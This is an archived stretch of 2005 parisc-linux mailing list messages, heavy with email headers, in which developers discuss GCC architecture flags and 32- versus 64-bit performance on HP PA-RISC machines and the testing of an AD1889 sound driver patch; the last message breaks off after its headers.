Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2BE777D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:48:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13041-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:48:42 -0600 (MDT)
Original-Received: from mail22.sea5.speakeasy.net (mail22.sea5.speakeasy.net
	[69.17.117.24])
	by free.linux.hp.com (Postfix) with ESMTP id 697D57D734
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:48:42 -0600 (MDT)
Original-Received: (qmail 12694 invoked from network); 17 Aug 2005 01:48:38 -0000
Original-Received: from tx-65-40-204-228.dyn.sprint-hsd.net
	(mszick@morethan.org@[65.40.204.228])
	(envelope-sender <mszick@morethan.org>)
	by mail22.sea5.speakeasy.net (qmail-ldap-1.03) with RC4-MD5 encrypted
	SMTP
	for <parisc-linux@lists.parisc-linux.org>; 17 Aug 2005 01:48:37 -0000
User-Agent: KMail/1.7.2
In-Reply-To: <200508170132.j7H1W4Sq027309@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1fJwY5AXeSEkfL6WZHQhaXN1IGRvb0Dl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23085

On Tue August 16 2005 20:32, John David Anglin wrote:
> > >>When that produced even worse results, I tried -march=2.0 vs 1.1 and
> > >>-mschedule=8000 vs 7300 seperately.  Each one alone slows down the
> > >>benchmark and the effect is addititive.  It seems that in Linux, right
> > >>now at least, compiling with -march=2.0 or -mschedule=8000 is a Bad Thing.
> > >>
> 
> In theory, -mschedule=8000 should only be used on machines with PA 2.0
> processors (i.e., not the B132L).  It is tweaked to the number of execution
> units, etc, in the PA 2.0 processor.  How much difference this makes in the
> real world is not clear.  I haven't seen any numbers.  As far as the
> models themselves, they haven't changed since they were added by Jeff
> Law somewhere around GCC 3.0.  It would be interesting to see how they
> compare on the same cpu, same os, etc.
>
One other suggestion.

Try running the Povray benchmark - It is compute intensive and long
enough running to turn other kernel activity into noise.

You should be able to just: apt-get povray 
But it could be that the benchmark is separately packaged.

I think Joel tried hppa-Povray - he might have information to share.

Mike
 
> As far PA 2.0 versus 1.1, the main differences affecting 32-bit code
> are some new branch instructions.  There are also some new FP instructions
> but these are somewhat compromised by linker bugs.  In non floating-point
> code, I would expect the PA 2.0 features to make their presence felt
> in code with large functions.
> 
> > > It would be interesting to see if this also holds with a newer GCC.
> > > (3.4, 4.0, 4.1)
> 
> There have been a lot of optimization improvements in GCC since 3.3.
> It would be useful to see how effective they are in real applications
> and in benchmark performance.  As far as the PA backend goes, there
> haven't been any major performance improvements added since 3.3.  The
> changes mainly are bug fixes.
> 
> > I can't see how it would be different.  Isn't compiling for PA2.0/8000
> > in Linux tying of GCC's hands behind its back.  You're telling it you
> > want good code for a 64-bit CPU, but it can't produce 64-bit code.
> > 
> > Is there any real possibility that this is compiler-related and not
> > simply a 32 vs. 64 bit issue?  If there is a real chance of this, I'll
> > bite the bullet and actually test out newer GCC versions.
> 
> 64-bit code isn't going to make your apps run faster.  There is more
> overhead in data accesses in 64-bit code (i.e., they go through the DLT)
> than in 32-bit apps.  Also, a lot more sign extensions are needed.  In
> terms of a GCC build, the difference is about 15-20%.  The 64-bit tools
> are less mature.  So generally, you only want to use 64-bit apps when
> they can benefit from the larger address space.
> 
> > I have not yet compiled a 64-bit kernel for my C160.  All advice I have
> > read is that this is a complete waste of time since without a 64-bit
> > userland it will just make the kernel bigger and slower.  Is there
> > likely to be any benefit at all to a 64-bit kernel?
> 
> I doubt it.  You only want to use a 64-bit kernel when you have a machine
> with lots of memory.
> 
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Alsa-devel] [PATCH] Support for AD1889 PCI
	Soundchip
Date: Tue, 16 Aug 2005 21:51:19 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20050817015119.GA18244__74.7849270284817$1416623901$gmane$org@roadwarrior.mcmartin.ca>
References: <20050812021423.GB14400@roadwarrior.mcmartin.ca>
	<Pine.HPX.4.33n.0508120911590.10052-200000@studcom.urz.uni-halle.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623901 16438 80.91.229.3 (22 Nov 2014 02:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:21 +0000 (UTC)
Cc: alsa-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org,
 Thibaut VARENE <T-Bone@parisc-linux.org>
To: Clemens Ladisch <clemens@ladisch.de>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 01:53:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 17 Aug 2005 03:53:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2DE47D73D;
	Tue, 16 Aug 2005 19:53:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13318-02; Tue, 16 Aug 2005 19:53:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C61E87D742;
	Tue, 16 Aug 2005 19:53:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BB87E7D73D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:53:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13062-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:53:25 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 3062C7D73A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 19:53:25 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 1A8E717050;
	Tue, 16 Aug 2005 21:53:24 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31358-07; Tue, 16 Aug 2005 21:53:09 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 1A16017081; Tue, 16 Aug 2005 21:53:09 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x1525969562-52656d6f746546617454697265-494e424f582e4f7574626f78: 1124243509-0450697602769-v4.0.10
Content-Disposition: inline
In-Reply-To: <Pine.HPX.4.33n.0508120911590.10052-200000@studcom.urz.uni-halle.de>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: y/1wYxUceSEkWb6WZHQhaXN1IGRvb8AE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23086

On Fri, Aug 12, 2005 at 09:17:47AM +0200, Clemens Ladisch wrote:
> It should apply against both, but it seems somewhere some whitespaces
> got lost ...
> 
> Here you go again.

Sorry for taking so long to get back to you. Your patch appears to work
fine in OSS mode, but native ALSA on PA-RISC still seems broken. Thibaut
seems to point out that this is not the driver, but a more deep seated
problem, as the driver seems to function properly in native ALSA playback
mode on powerpc.

I'll keep the patch in my tree, and give it a few days of beating.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L outperforms C160 - 64-bit userland needed?
Date: Tue, 16 Aug 2005 21:43:51 -0600
Lines: 94
Approved: news@gmane.org
Message-ID: <4302B277.40706@excelcia.org>
References: <200508170132.j7H1W4Sq027309@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623901 16440 80.91.229.3 (22 Nov 2014 02:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 03:48:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 17 Aug 2005 05:48:55 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B557A7D74C;
	Tue, 16 Aug 2005 21:48:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13918-01; Tue, 16 Aug 2005 21:48:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 306337D73E;
	Tue, 16 Aug 2005 21:48:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D72D07D73C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 21:48:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13318-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 21:48:43 -0600 (MDT)
Original-Received: from pd2mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 277B87D739
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 21:48:43 -0600 (MDT)
Original-Received: from pd4mr8so.prod.shaw.ca
	(pd4mr8so-qfe3.prod.shaw.ca [10.0.141.101]) by l-daemon
	(Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15 2004))
	with ESMTP id <0ILC0032SL151W80@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 21:43:53 -0600 (MDT)
Original-Received: from pn2ml1so.prod.shaw.ca ([10.0.121.145])
	by pd4mr8so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILC00IEPL15E950@pd4mr8so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 21:43:53 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILC0042EL14PV@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 21:43:52 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7H3hpeU016472	for
	<parisc-linux@lists.parisc-linux.org>; Tue, 16 Aug 2005 21:43:51 -0600
In-reply-to: <200508170132.j7H1W4Sq027309@hiauly1.hia.nrc.ca>
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /9ZwY+wKeSEkT76WZHQhaXN1IGRvb4CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23087

John David Anglin wrote:
>>>>When that produced even worse results, I tried -march=2.0 vs 1.1 and
>>>>-mschedule=8000 vs 7300 seperately.  Each one alone slows down the
>>>>benchmark and the effect is addititive.  It seems that in Linux, right
>>>>now at least, compiling with -march=2.0 or -mschedule=8000 is a Bad Thing.
>>>>
> 
> 
> In theory, -mschedule=8000 should only be used on machines with PA 2.0
> processors (i.e., not the B132L).

I must not have been clear.  Wanting to have as level a playing field as
possible for benchmarking, I fist used identical binaries for both the
PA 1.1 and PA 2.0 machines.  These binaries were build as
-march=1.1/-mschedule=7300.  When I first noticed that the B132L was
outperforming the C160, I then recompiled the C160 binaries as
-march=2.0/-mschedule=8000.  My thinking was that perhaps the 1.1/7300
binaries on the C160 were perhaps causing the poor results.  The
recompiled 2.0/8000 binaries had even /poorer/ results, on the order of
a consistent two percent reduction in performance over 1.1/7300.

> ...It is tweaked to the number of execution
> units, etc, in the PA 2.0 processor.  How much difference this makes in the
> real world is not clear.  I haven't seen any numbers.  As far as the
> models themselves, they haven't changed since they were added by Jeff
> Law somewhere around GCC 3.0.  It would be interesting to see how they
> compare on the same cpu, same os, etc.

In Linux 2.6.10-pa11 and 2.6.8.1-pa11 with a 32 bit kernel on a C160
(PA-8000 cpu)
 * -march=1.1 produces code that performs approximately one percent
faster than -march=2.0
 * -mschedule=7300 produces code that is approx. one percent faster than
-mschedule=8000
 * The two above are additive - 1.1/7300 is two percent faster than 2.0/8000
 * Code compiled as 1.1/7300 and also run on a C160 with its kernel
configured with the PA7300LC processor type (as opposed to configured as
PA8000) enjoys another ~2% speed boost that is additive.

So, to be completely clear, where the baseline is a C160, Linux
2.6.8.1-pa11 configured for PA8000 cpu and where the user binary is
compiled with -march=2.0 and -mschedule=8000:
- User binary compiled with -march=1.1 = +1% performance
- User binary compiled with -mschedule=8000 = +1% performance
- Kernel configured as PA7300LC = +2% performance

> As far PA 2.0 versus 1.1, the main differences affecting 32-bit code
> are some new branch instructions.  There are also some new FP instructions
> but these are somewhat compromised by linker bugs.  In non floating-point
> code, I would expect the PA 2.0 features to make their presence felt
> in code with large functions.

Is there anything in PA 2.0 that you would expect to cause poorer
performance in any circumstance when compared to PA 1.1?

> There have been a lot of optimization improvements in GCC since 3.3.
> It would be useful to see how effective they are in real applications
> and in benchmark performance.  As far as the PA backend goes, there
> haven't been any major performance improvements added since 3.3.  The
> changes mainly are bug fixes.

So, what I'm hearing is that I might expect to see better code across
the board with a post 3.3 compiler, but that there is unlikely to be a
change in what I am seeing with 1.1 vs 2.0, 7300 vs 8000?

> 64-bit code isn't going to make your apps run faster.  There is more
> overhead in data accesses in 64-bit code (i.e., they go through the DLT)
> than in 32-bit apps.  Also, a lot more sign extensions are needed.  In
> terms of a GCC build, the difference is about 15-20%.  The 64-bit tools
> are less mature.  So generally, you only want to use 64-bit apps when
> they can benefit from the larger address space.

I'm not strong on the PA architecture - I assumed on a 64 bit machine
that the data bus would be 64 bits wide.  Thus, I would have thought
that 64-bit compiled apps on such a machine would run at least as fast
as 32 bit ones, and be superior in some areas such as when they had to
deal with 64 bit values like file offsets.  If less bit-width is better,
shouldn't we all be going back to 6502? :)

In any case, if what I'm seeing isn't due to 32 vs 64 bit, then I am
completely baffled by what I'm seeing.  Why would a C160 running at a
20% faster clock speed, having eight times the cache, and a design that
should be superior in every sense run slower than B132L?  I'm not trying
to blame my machine's poor performance on anyone, but I must admit that
having read as much as I can on the C160 vs B132L that I can find no
explanation in the hardware.

	Kurt.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CONFIG_PDC_NARROW leftover in sba_iommu.c
Date: Tue, 16 Aug 2005 23:31:25 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <4302CBAD.3010506@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623901 16443 80.91.229.3 (22 Nov 2014 02:38:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:25 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Aug 2005 05:37:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 17 Aug 2005 07:37:53 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EB7F7D74C;
	Tue, 16 Aug 2005 23:37:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14429-01; Tue, 16 Aug 2005 23:37:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3B1F7D747;
	Tue, 16 Aug 2005 23:37:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 738347D742
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 23:37:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13984-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 23:37:41 -0600 (MDT)
Original-Received: from pd3mo2so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id D8D947D741
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Aug 2005 23:37:41 -0600 (MDT)
Original-Received: from pd3mr6so.prod.shaw.ca (pd3mr6so-qfe3.prod.shaw.ca [10.0.141.21])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0ILC00K3WQ0G3F10@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 23:31:28 -0600 (MDT)
Original-Received: from pn2ml5so.prod.shaw.ca ([10.0.121.149])
	by pd3mr6so.prod.shaw.ca (Sun ONE Messaging Server 6.0 HotFix 1.01
	(built Mar
	15 2004)) with ESMTP id <0ILC009DWQ0GIU40@pd3mr6so.prod.shaw.ca> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 23:31:28 -0600 (MDT)
Original-Received: from guardian.excelcia.org ([68.149.196.244])
	by l-daemon (iPlanet Messaging Server 5.2 HotFix 1.18 (built Jul 28
	2003)) with ESMTP id <0ILC00836Q0FMQ@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
	Tue, 16 Aug 2005 23:31:28 -0600 (MDT)
Original-Received: from [192.168.200.13] (frisket.excelcia.org [192.168.200.13])
	by guardian.excelcia.org (8.13.3/8.13.3) with ESMTP id
	j7H5VP8Z017133	for
	<parisc-linux@lists.parisc-linux.org>; Tue, 16 Aug 2005 23:31:27 -0600
X-Accept-Language: en-us, en
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAMAAABg3Am1AAAAQlBMVEUIEQ8THRofGw4lLyc0
	LRBLJhxhQzVGTkRiZFWSUkSfUzesS0CBYVB6hnS5bV3Bbk/PaVapgW7uhW6WraG42c6+4NXI/Dbc
	AAACM0lEQVR42tWU23qkIBCEQVRolIOi7/+qWw14yoxk93LbSfJNqL+rOIjY/7HEfwFstf4WYG1y
	XCltvwNZbjTKaGNM+g1gvdOloDfabU0AwTdT5KpiOjWAQ69QB6L09gqUPCYj48g/KKBvQM1v5nks
	ReQJRO++A1sOZKCHbh7JxzV67wH26Q3gQKyPPsa4coUAj9G0AajDelRgi7kJLP7sf1i8OuwJAHKf
	8gq41qRh4NcHMDci7SZHWn84LC2HeX5YMDC41hxAgIHUe/K5xt697fSeWI2NJhBE/BdFdmkCIx4i
	7DIIIgrBTu/AxgZ8hChEy91tQMWlcfjmhWOAweZBGlcG0uvx3l3ZaGvjdZpi3N6BhKMHgOy6ThMT
	MdjHnD9fIA7DkTxN8GCzpfUCIZP3IQM+5GnY+fs7fVxeiXeacq6AUAg0py/Adt52yWBZKUcisgxQ
	p7S7rjTx0IPAy2lpyNDEm0aDQEllXDqBu37DeUDXiSuywdBBjqfrOu0K8NBrNQxkWR54xsT6bAGg
	51MoHvqkoB8Gbp5XaDj0GVA97g/x0GfnrqsE2h96EFLCok8XsO9O5qFCTMT6ByAVPMQtvqxjTKDY
	S96ADh91Avum8L9zOCe72h8WslfinO5dn4fFs7JDV4GiL3Vv+OEA13K75O/qofnhIPM6YbwuT14D
	9ZHj1r+mEny3yLJmKiMNKGO1vSxqJWUL4Zy6zlYVseKDJuRrKiFqjOvXe/vSSGl1pf9Fz/UHUt53
	+mfdrmkAAAAASUVORK5CYII=
X-Enigmail-Version: 0.92.0.0
X-Virus-Scanned: ClamAV version 0.85.1,
	clamav-milter version 0.85 on guardian.excelcia.org
X-Virus-Status: Clean
User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
